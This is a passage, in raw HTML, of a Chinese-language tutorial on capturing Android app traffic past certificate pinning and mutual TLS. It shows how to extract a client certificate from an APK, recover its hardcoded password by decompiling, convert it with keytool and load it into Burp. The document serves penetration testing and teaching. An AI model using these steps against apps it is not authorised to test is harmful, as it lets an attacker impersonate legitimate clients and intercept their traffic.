&#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;">2. 证书固定时间</span></p><p cid="n89" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">有的app会设置证书固定的到期时间，这样的配置在证书过期后有可能会让“不怀好意”的人绕过证书固定。   </span></p><p cid="n90" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">但上述的操作难度都比较高，而且还不一定能够成功，因此不太建议用来抓包。</span></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-3/</strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong><br/></strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h3 cid="n91" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>双向认证</strong></span></h3><p cid="n92" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在需要更加安全的通信环境中，不仅客户端需要校验服务端的证书，同时服务端也需要校验客户端的证书，这种情况就叫做SSL双向认证。这种双向认证机制可以保证服务端以及客户端的身份，防止任意一方被伪造。</span></p><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">因此在这种情况下，往往客户端内部会内置一套公钥证书 + 私钥。在SSL/TLS三次握手过程中的第二次握手（见下图），服务端会向客户端请求证书，客户端必须将内置的公钥证书发给服务端，以验证公钥证书的真实性。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="454" data-backw="528" data-galleryid="" data-ratio="0.8602540834845736" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1102" src="https://wechat2rss.xlab.app/img-proxy/?k=15e823e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOG6Xs3yfibS4tmGeIJuLPDUAK2iaZPUuQo7ENicCoQiappO9tuFrGgcnSYA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">用于双向认证的公钥证书和私钥代表了客户端的身份，所以一般都是用.p12或者.bks文件+密钥进行存放，并通过密码进行保护。由于是内置在客户端中，密码一般也是写死在客户端的代码中，有些App为了防反编译会将密码写到so库中。</span></p><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">如果客户端既使用证书固定，又使用双向认证，那么它应该内置一套公钥证书 + 一套公钥证书和私钥。第一套与服务端的公钥证书相同，用于客户端系统校验与服务端发来的证书是否相同，即证书固定；第二套SSL/TLS握手时公钥证书发给服务端，服务端进行签名校验，即双向认证。</span></p><p><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-3-1/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h4 cid="n97" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>获取客户端证书</strong></span></h4><p cid="n98" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">客户端证书一般会随着其他资源文件一起打包进apk包中，其常见存储目录为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">/assets</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">/res</code></span><span md-inline="plain" style="box-sizing: border-box;">，常见文件后缀为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">.p12</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">.bks</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">.jks</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">.pfx</code></span><span md-inline="plain" style="box-sizing: border-box;">。诸如刚刚所说到的证书都有密码的保护，因此需要找到证书密码来安装证书才可以进行后续的抓包分析，否则服务端不会接受客户端的请求。</span></p><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">同时，大多数代理工具仅接受</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">p12</code></span><span md-inline="plain" style="box-sizing: border-box;">格式的证书，因此遇到仅有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">bks</code></span><span md-inline="plain" style="box-sizing: border-box;">格式的证书时，还需要提取出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">p12</code></span><span md-inline="plain" style="box-sizing: border-box;">的证书，命令如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">keytool</span> <span class="code-snippet__selector-tag">-importkeystore</span> <span class="code-snippet__selector-tag">-srckeystore</span> <span class="code-snippet__selector-tag">xxx</span><span class="code-snippet__selector-class">.bks</span> <span class="code-snippet__selector-tag">-srcstoretype</span> <span class="code-snippet__selector-tag">BKS</span> <span class="code-snippet__selector-tag">-destkeystore</span> <span class="code-snippet__selector-tag">xxx</span><span class="code-snippet__selector-class">.p12</span> <span class="code-snippet__selector-tag">-deststoretype</span> <span class="code-snippet__selector-tag">PKCS12</span> <span class="code-snippet__selector-tag">-provider</span> <span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.bouncycastle</span><span class="code-snippet__selector-class">.jce</span><span class="code-snippet__selector-class">.provider</span><span class="code-snippet__selector-class">.BouncyCastleProvider</span> <span class="code-snippet__selector-tag">-providerpath</span> <span class="code-snippet__selector-tag">bcprov-ext-jdk15to18-169</span><span class="code-snippet__selector-class">.jar</span></span></code></pre></section><p><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-3-2/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h4 cid="n101" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong style="box-sizing: border-box;"><strong>实践</strong></strong></span></h4><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">首先直接使用Http Canary + 代理进行抓包，发现该app做了证书固定。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="436" data-backw="528" data-galleryid="" data-ratio="0.8259668508287292" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1086" src="https://wechat2rss.xlab.app/img-proxy/?k=853c67ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOPWicD12ATjd6cQHtBjdBTMUjWTDkaKTLr0iaOibiay2whZSnTCI8JFWcBg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">使用VirtualXposed + SSLUnpinning绕过证书固定。在burp中可以抓到请求包，但返回包中状态码为400，提示</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">400 No required SSL certificate was sent</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">。这意味着服务端需要认证客户端证书，接下来的工作就是获取客户端的证书了。</span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="180" data-backw="528" data-galleryid="" data-ratio="0.3418054338299737" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1141" src="https://wechat2rss.xlab.app/img-proxy/?k=7e0ef62c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOX7HPlUCWNWx7AfR9mQdS8QwGH3icj0GWxjD6tZL9fSC7lMAPwSWwxlA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">使用压缩工具解压apk后，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">/assert</code></span><span md-inline="plain" style="box-sizing: border-box;">目录下找到了客户端证书</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">mykey.p12</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="212" data-backw="528" data-galleryid="" data-ratio="0.40217391304347827" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=9ab9d218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOaXuwSCXpFdHZdjSnATUZRCbdyC2v0JChznyaVxmqCNbg9G88e8uuGg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">接下来通过GDA反编译dex文件，分析app的源代码。很幸运，当前版本下的app没有做很多限制，直接搜索关键词</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">mykey.p12</code></span><span md-inline="plain" style="box-sizing: border-box;">就能够定位加载证书的位置。</span></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="135" data-backw="528" data-galleryid="" data-ratio="0.25552608311229" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=14d04c80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOQuIU0ofkGAoRFIDc0picJcuicSkrCqcO2BOA31OUVunNSFHC7avWkvxg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">查看文档，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">keystore.load()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数中第二个参数即为解密证书所用的密码。</span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="128" data-backw="528" data-galleryid="" data-ratio="0.24274406332453827" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=43e7c9f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOckhFzaTt3Ficabmxsbw3JliaGr17dnq1FyReZL0OLicbNFQyzxURskFSw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在这里，通过反编译apk可以直接拿到明文密码，但在有些安全性较高的app中，密码是通过调用了so库中的函数获取到的。因此，在有必要的情况下，还需要反编译so库进行调试分析，获取解密的密码。</span></p><p cid="n113" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在burp的User options中添加客户端ssl证书，输入对应的域名，证书路径和密码。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="187" data-backw="528" data-galleryid="" data-ratio="0.35356200527704484" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=7990518b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtO7ibIvjppCryhBGaDjOHwicicUMh356ezztVdHwfcibOJE8A0E2vjgNPWAw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">重新运行app，双向认证绕过成功，可以愉快的抓包了。</span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="166" data-backw="528" data-galleryid="" data-ratio="0.3145869947275923" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1138" src="https://wechat2rss.xlab.app/img-proxy/?k=dc8d7fc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtO1R83iaFic0Cu36vTicjtvNXJwdic7XPK1mCozUkDSshMniaJ4Spx9Lkq8UA%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;white-space: pre-wrap;text-align: justify;"></span></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在实战的过程中，从官网上下载的最新版本的app是经过加壳的保护的，而从应用商店上下载的app版本低于最新版本，同时没有进行过加壳的操作。在比对这两个apk解压的文件时发现，其使用的客户端证书md5值是完全相同的，因此这里也给获取客户端证书提供了一个新的思路：在当前版本较难提取出客户端证书时，可以尝试对其较低版本的app进行分析，它们有可能使用的是同一个客户端证书。只要提取出了有效的客户端证书，就可以绕过双向认证。</span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="94" data-backw="528" data-galleryid="" data-ratio="0.17787610619469027" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=d3b835c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOL3RIxcd3ia3H1qJzzlicYx4X2mgKlGuVZyEHaUEuv2SXuRKauwnvTJ7w%2F640%3Fwx_fmt%3Dpng"/></p><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p><p><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;white-space: pre-wrap;">总结一下，此场景下抓包的基本步骤为：</span><br/></p><ol class="list-paddingleft-2" start="" cid="n120" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">绕过ssl pinning，抓包查看服务端返回包</span></p></li><li><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">解压apk，寻找客户端证书文件</span></p></li><li><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">如果客户端证书被加密，反编译apk甚至so文件来寻找解密密码</span></p></li></ol><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p><p><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-3-3/</strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><p><br/></p><h4 cid="n127" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>hook ssl解密函数</strong></span></h4><p cid="n128" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 